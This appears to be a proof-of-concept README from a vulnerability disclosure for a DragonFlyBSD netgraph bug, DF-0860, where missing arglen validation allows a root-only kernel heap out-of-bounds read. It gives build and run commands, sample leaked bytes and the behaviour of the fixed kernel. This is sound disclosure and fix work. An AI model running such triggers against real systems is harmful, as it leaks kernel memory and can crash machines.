# DF-0860 — ngc_send missing ng_mesg arglen validation -> heap OOB read

Root-triggerable kernel heap out-of-bounds read / information leak in the
netgraph control-socket send path (`sys/netgraph/socket/ng_socket.c`). This is
the DragonFlyBSD instance of FreeBSD **CVE-2008-5736** (svn r184036, 2008),
which was never ported.

## Build

```
cc -O2 -o df0860 df0860.c        # compiles unprivileged
```

## Run (ROOT only)

The trigger requires a netgraph **control** socket, which is gated by
`caps_priv_check(SYSCAP_RESTRICTEDROOT)` (`ng_socket.c:172`) — i.e. euid 0.
The netgraph socket module must also be loaded.

```
# as root:
kldload ng_socket
./df0860 128                     # leaks 128 bytes of heap past the 52-byte header
./df0860 64                      # leaks 64 bytes
LEAK_BYTES=2048 ./df0860         # or via env
```

As an **unprivileged** user the socket(2) call returns `EPERM` (or
`EPROTONOSUPPORT` if the module is not loaded) — see `run_maxx_gate.log`.

## Expected

On the **buggy** kernel (`6.5-DEVELOPMENT #0`, root, module loaded):
```
sendto returned 52
recvfrom returned 180 bytes
LEAK: kernel returned 128 bytes past our 52-byte header (arglen lied as 128):
  0000: 00 00 00 00 01 00 00 00 0f 00 00 00 c0 43 16 4f
  0010: 00 f8 ff ff d0 43 16 4f 00 f8 ff ff 72 63 6e 67
  ...                                       ^ kernel pointers + heap strings
```

On the **fixed** kernel (root): `sendto failed: errno=22 (Invalid argument)` —
the lying `arglen` is rejected before reaching `ship_msg`. Honest messages
(arglen matching actual data) still succeed.

## Impact

Kernel heap information leak (canonical kernel pointers + residual allocation
contents disclosed to a root process) and, for large `arglen`, a
layout-dependent DoS panic when the OOB read crosses an unmapped page.
**Not** an unprivileged escalation — the trigger is root-only.

See `VERDICT.md` for the full mechanism walkthrough and `fix.diff` for the
validated one-line validation fix.